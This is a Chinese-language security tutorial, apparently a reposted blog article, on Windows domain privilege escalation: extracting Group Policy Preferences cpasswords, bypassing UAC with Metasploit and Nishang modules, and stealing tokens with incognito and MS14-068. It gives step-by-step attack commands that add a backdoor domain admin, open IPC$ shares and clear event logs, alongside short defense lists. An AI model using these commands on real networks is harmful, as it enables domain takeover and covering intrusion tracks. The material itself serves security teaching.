内网权限提升防御与分析(二)

admin 2022年7月11日00:37:56评论17 views字数 4234阅读14分6秒阅读模式

组策略首选项提权分析及防范


sysvol


SYSVOL是活动目录里面一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器间进行复制

SYSVOL文件夹是在安装活动目录时创建,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等

SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享

整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在

C:WindowsSYSVOLDOMAINPolicies


常见的策略组首选项

●映射驱动器(Drives.xml)
●创建本地用户
●数据源(DataSources.xml)
●打印机配置(Printers.xml)
●创建/更新服务(Services.xml)
●计划任务(ScheduledTasks.xml)

使用条件

创建了组策略,并且使用了,修改本地机器管理员密码了


模拟一下

内网权限提升防御与分析(二)

在其他机器使用如下命令同步之后也能生成SYSVOL

gpupdate


获取凭证数据

管理员在域中新建一一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码

2012微软公布了改密码的私钥后,XML中文件的密码安全性大大降低,该密码用的AES-256算法,公布之前安全

任何域用户和域信任的用户均可对该共享目标进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机

在SYSVOL中搜索,可以找到包含cpassword的XML文件


手动获取法

先找到唯一ID

内网权限提升防御与分析(二)

然后在以下目录寻找

C:WindowsSYSVOLdomainPolicies{唯一ID}MachinePreferencesGroups

内网权限提升防御与分析(二)

直接访问发现密码被加密

内网权限提升防御与分析(二)

使用工具解密

gpp-decrypt 加密后的密码

内网权限提升防御与分析(二)


type命令查询

type C:WindowsSYSVOLdomainPolicies{EBAD84FD-741B-4275-A23D-584E7744F2E0}MachinePreferencesGroupsGroups.xml

内网权限提升防御与分析(二)


Get-GPPPassword.ps1

下载地址


MSF-/post/windwos/gather/credentials/gpp模块

use post/windows/gather/credentials/gpp


获得一个session之后用该模块也可以查询到

set session 2


内网权限提升防御与分析(二)


可选cpassword属性的策略组首选项

●ServicesServices.xml
●ScheduledTasksScheduledTasks.xml
●PrintersPrinters.xml
●DrivesDrives.xml
●DataSourcesDataSources.xml


防御

  • 设置共享文件夹SYSVOL的访问权限

  • 将包含组策略密码的XML文件从SYSVOL删除

  • 不要把密码放在所有域用户都有权限访问的文件中

  • 如果需要更改域中机器的本地管理员密码,可以用LAPS


绕过UAC提权分析及防范


UAC的概念


UAC也就是用户账户控制,在进行一些高权限操作时,就需要进行UAC认证

内网权限提升防御与分析(二)

例如一个低权限账户想添加用户时,就需要UAC认证获得权限


UAC是微软在Windows Vista中引入的技术,旨在提高安全性,在Windwos Vista及其更高版本时将权限分为了高中低三个等级

进程的分级

高等级:有管理员权限
中等级:有普通用户权限
低等级:权限有限,可以保护在当收到攻击时


需要UAC的授权才能进行的操作列举如下

●配置Windows Update
●增加/删除账户
●更改账户类型
●更改UAC的设置
●安装ActiveX
●安装/卸载程序
●安装设备驱动程序
●将文件移动/复制到Program Files或Windows目录下
●查看其他用户的文件夹


UAC有如下四种设置要求

●始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
●仅在程序试图更改我的计算机时通知我:这是UAC的默认设置当本地Windows程序要使用高级别的权限时,不会通知用户但是,当第三方程序要使用高级别的权限时,会提示本地用户
●仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
●从不提示:当用户为系统管理员时,所有程序都会以最高权限运行


Bypass UAC


MSF的bypassuac模块


使用模块1

要求:必须在管理员组

use exploit/windows/local/bypassuac
  • 配置参数

set LHOST [addr]
set session [id]
  • 执行

run
  • 得到新shell后输入如下命令提权

getsystem

内网权限提升防御与分析(二)

  • 改编码好看一点

chcp 65001

内网权限提升防御与分析(二)

内网权限提升防御与分析(二)

使用模块2

要求:必须在管理员组

use exploit/windows/local/bypassuac_injection

内网权限提升防御与分析(二)

该模块不落地,反射DLL方式更不容易备查杀


Runas模块

要求:必须在管理员组或者知道管理员密码

use exploit/windows/local/ask

创建一个可执行文件,然后目标机器会发起一个权限提升的请求,点击确定则会回弹高权限shell

内网权限提升防御与分析(二)

点击确定

内网权限提升防御与分析(二)

超时了一下,再次尝试,成功

内网权限提升防御与分析(二)


Nishang的Invoke-PsUACme

使用Sysprep方法和默认的Payload执行

PS > Invoke-PsUACme -Verbose 

使用oobe方法和默认的Payload执行

PS > Invoke-PsUACme -method oobe -Verbose 

使用-Payload参数可以自行指定要执行的Payload

PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" 

内网权限提升防御与分析(二)


防御

  • 在企业网络中,最好是内网机器的使用者不拥有本地管理员权限,以此来降低风险

  • 在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动,使用本地管理员权限登录的用户,要将UAC设置为“始终通知"或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中,总是弹出警告)

  • 使用微软的EMET或MalwareBytes来更好地防范0day漏洞


令牌窃取分析以及防范

 


令牌

简介

令牌是系统中的临时秘钥,相当于账户密码,用于决定是否允许请求以及判断当前请求是属于哪个用户的,有令牌就可以不提供密码去对网络和资源进行请求,令牌将持续存在(除了重启系统)


特点

随机性和不可预测性,访问令牌代表访问控制操作主体的系统对象,密保令牌也叫做认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾

会话令牌是交互会话中唯一的身份标识


伪造令牌攻击

核心是kerberos协议


kerberos

是一种网络认证协议,其设计目标是通过秘钥系统为客户机/服务机应用程序提供强大的认证服务


Kerberos协议的工作机制

内网权限提升防御与分析(二)

过程:

①、客户端向认证服务器发送请求,要求得到证书

②、认证服务器得到请求后,将包含客户端密钥的加密证书发送给客户端,该证书包含服务器的Ticket(包含由服务器密钥加密的客户机身份和一份会话秘钥)和一个临时加密密钥(又称为会话密钥,Session Key),认证服务器也会向该服务器发送一份证书,使得服务器能够验证登录的客户端身份

③、客户端将Ticket传送给服务器,如果服务器确认该客户端身份,就允许它登录服务器


客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌

内网权限提升防御与分析(二)


令牌窃取攻击

mimikatz

MS14-068.exe -u [email protected] -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d  hacker.testlab

内网权限提升防御与分析(二)

失败,换种方法

MSF令牌窃取1

首先拿到一个msfshell

进程迁移

内网权限提升防御与分析(二)

进入隐身模式

use incognito

查看可利用令牌

list_tokens -u

模拟用户令牌

impersonate_token [user_name]\[domain_name]

再次提权

getsystem

添加用户

add_user ljwsb A1B2C3.. -h 192.168.1.17

添加到域管

add_group_user "domain admins" ljwsb -h 192.168.1.17

内网权限提升防御与分析(二)

查看是否添加成功

net group "domain admins" /domain

内网权限提升防御与分析(二)

建立IPC$连接

net use \192.168.1.3c$ A1B2C3.. /user:hackerljwsb
net use \192.168.1.17c$ A1B2C3.. /user:hackerljwsb

内网权限提升防御与分析(二)

查看IPC$连接

net use \192.168.1.17c$

内网权限提升防御与分析(二)


测试使用

echo a > \192.168.1.17c$1.txt

内网权限提升防御与分析(二)

dir \192.168.1.17c$nishang-master

内网权限提升防御与分析(二)

被连接机上情况

数据库服务器

内网权限提升防御与分析(二)

这里administrator是我用管理员运行cmd产生的

域控服务器

内网权限提升防御与分析(二)


痕迹清理

net user ljwsb /del
clearev

内网权限提升防御与分析(二)


MSF令牌窃取2

迁移获得system权限

msf的shell中用ps查看进程以及权限

ps

内网权限提升防御与分析(二)


迁移到system的进程

migrate [system_pid]

内网权限提升防御与分析(二)


添加用户并添加到域管

net user ljwsb A1B2C3.. /ad /domain

net group "domain admins" ljwsb /ad /domain

内网权限提升防御与分析(二)


令牌窃取防御

  • 及时安装补丁

  • 对来路不明的软件不要使用

  • 对令牌的时效性进行限制,防止散列值被破解后泄露有效的令牌信息,越敏感的数据令牌的时效性应该越短,若每个操作都使用独立的令牌,就可以定位泄露令牌的操作或者环节

  • 对于令牌,应该采取加密存储以及多层验证保护

  • 使用加密链路SSL/TLS传输令牌,以免被中间人窃听



NGC660安全交流群,感兴趣的师傅们可以进一下

- 群内致力于打造一个良好的交流环境,还请各位师傅友善交流~

内网权限提升防御与分析(二)





内网权限提升防御与分析(二)


内网权限提升防御与分析(二)


免责声明

由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!




原文始发于微信公众号(NGC660安全实验室):内网权限提升防御与分析(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月11日00:37:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网权限提升防御与分析(二)http://cn-sec.com/archives/1169705.html

发表评论

匿名网友 填写信息